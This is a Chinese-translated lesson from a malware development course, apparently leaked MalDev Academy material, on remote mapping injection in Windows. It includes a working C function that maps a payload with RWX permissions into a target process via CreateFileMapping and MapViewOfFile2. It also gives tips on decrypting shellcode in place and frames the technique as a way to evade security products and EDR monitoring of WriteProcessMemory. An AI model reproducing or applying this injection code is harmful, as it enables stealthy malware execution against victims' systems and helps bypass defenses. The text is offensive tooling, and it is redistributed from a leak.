模块 43 - 远程映射注入
恶意软件开发课程 - 远程映射注入
模块 43 - 远程映射注入#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
远程映射注入#
简介#
上一个模块演示了一种无需使用私有内存即可执行本地 Payload 的方法。本模块将演示在远程进程上执行相同的技术。
远程映射注入步骤#
本节讨论执行远程映射注入所需的 WinAPI。执行远程映射注入的具体步骤如下:
- 调用
CreateFileMapping创建一个文件映射对象。 - 调用
MapViewOfFile将文件映射对象映射到注入器(本地进程)的地址空间。 - 将 Payload 移动到本地分配的映射内存中。
- 使用
MapViewOfFile2将同一个文件映射对象映射到目标进程(远程进程)的地址空间。这会将本地视图中的内容(即已复制的 Payload)映射到远程进程中。
MapViewOfFile2#
MapViewOfFile2 ↗ 将文件的视图映射到指定的远程进程的地址空间中。
PVOID MapViewOfFile2(
[in] HANDLE FileMappingHandle, // 由 CreateFileMappingA/W 返回的文件映射对象句柄
[in] HANDLE ProcessHandle, // 目标进程句柄
[in] ULONG64 Offset, // 不需要 - 设置为 NULL
[in, optional] PVOID BaseAddress, // 不需要 - 设置为 NULL
[in] SIZE_T ViewSize, // 不需要 - 设置为 NULL
[in] ULONG AllocationType, // 不需要 - 设置为 NULL
[in] ULONG PageProtection // 所需的页面保护权限
);cFileMappingHandle- 要映射到指定进程地址空间的节(Section)的句柄。ProcessHandle- 将节映射到其中的进程句柄。该句柄必须具有PROCESS_VM_OPERATION访问权限。PageProtection- 所需的页面保护权限。
实现注意事项#
与本地映射注入不同,本地映射的视图不需要具有可执行权限,因为 Payload 不在本地执行。相反,本地 MapViewOfFile 使用 FILE_MAP_WRITE 权限即可,以便复制 Payload。然后,MapViewOfFile2 将同样的字节以 RWX 权限映射到目标进程的地址空间。
MapViewOfFile2 与 MapViewOfFile 共享同一个文件映射句柄。因此,在本地映射视图中对 Payload 的任何修改都会反映到远程进程的远程映射视图中。这在实际应用中非常有用,例如需要运行加密 Payload 时:Payload 可以映射到远程进程,但在本地进行解密,从而使远程视图中的代码也变为解密状态并可执行。
💡 初学者提示:镜像效应
想象一下,本地视图和远程视图就像两面镜子,映照着同一个文件映射对象。
- 如果你在本地这面镜子上涂抹(写入解密后的 Shellcode),远程子那面镜子的内容也会同步改变。
- 这样做的好处是:你不需要在远程进程里进行复杂的内存操作,只需要在自己家里改完,对方那里就自动生效了。
远程映射注入函数#
RemoteMapInject 是执行远程映射注入的函数。它接受 4 个参数:
hProcess- 目标进程的句柄。pPayload- Payload 的基地址。sPayloadSize- Payload 的大小。ppAddress- 指向接收远程映射内存基地址的 PVOID 的指针。
该函数分配一个本地映射的可读写缓冲区,然后将 Payload 复制到其中。接着,它使用 MapViewOfFile2 将本地 Payload 映射到目标进程中的新远程缓冲区,最后返回映射内存的基地址。
BOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
BOOL bSTATE = TRUE;
HANDLE hFile = NULL;
PVOID pMapLocalAddress = NULL,
pMapRemoteAddress = NULL;
// 创建一个具有可执行读写权限的文件映射对象
hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
if (hFile == NULL) {
printf("\t[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// 将文件映射对象的视图映射到本地进程(仅需要写权限)
pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, NULL, NULL, sPayloadSize);
if (pMapLocalAddress == NULL) {
printf("\t[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// 将 Payload 复制到本地映射内存中
memcpy(pMapLocalAddress, pPayload, sPayloadSize);
// 将同一个 Payload 映射到目标进程的新远程缓冲区(指定 RWX 权限)
pMapRemoteAddress = MapViewOfFile2(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
if (pMapRemoteAddress == NULL) {
printf("\t[!] MapViewOfFile2 Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("\t[+] Remote Mapping Address : 0x%p \n", pMapRemoteAddress);
_EndOfFunction:
*ppAddress = pMapRemoteAddress;
if (hFile)
CloseHandle(hFile); // 句柄可以关闭,映射依然存在
return bSTATE;
}cUnmapViewOfFile 警告#
请记住,UnmapViewOfFile 仅需要取消映射视图的基地址。当 Payload 仍在远程进程中运行时,严禁调用 UnmapViewOfFile 取消本地映射的 Payload 视图。因为远程视图本质上是本地视图的“镜像”,取消本地映射可能会导致对应的远程映射关系失效或出现异常,从而导致远程进程崩溃。
演示#
本次演示的目标进程是 Notepad.exe。

下图显示了包含 Payload 的本地映射内存。注意此时内存权限为 RW。

MapViewOfFile2 将相同的字节映射到目标进程 notepad.exe 的地址空间。远程映射的内存现在包含 Payload,权限为 RWX。

执行 Payload(简单起见,演示中使用 CreateRemoteThread):

🎯 总结#
在本模块中,我们学习了:
- 跨进程映射:掌握了利用文件映射对象在不同进程间共享内存的技术。
- MapViewOfFile2:学习了这个强大的 API,它是实现远程映射注入的核心。
- 镜像同步:理解了本地修改如何实时同步到远程视图,以及这对解密 Payload 的重要性。
💡 关键要点
- 隐蔽性:远程映射注入不使用
WriteProcessMemory,这可以绕过许多安全产品对该 API 的监控。- 同步性:本地解密、远程生效。这是一种非常优雅的处理加密 Shellcode 的方式。
- 风险控制:不要在 Payload 运行期间过早取消本地映射。
📚 下一步学习
下一个模块将介绍 Function Stomping Injection。我们将学习如何通过“覆盖”合法 DLL 的导出函数来执行 Payload,这是对抗现代 EDR 内存扫描的又一利器!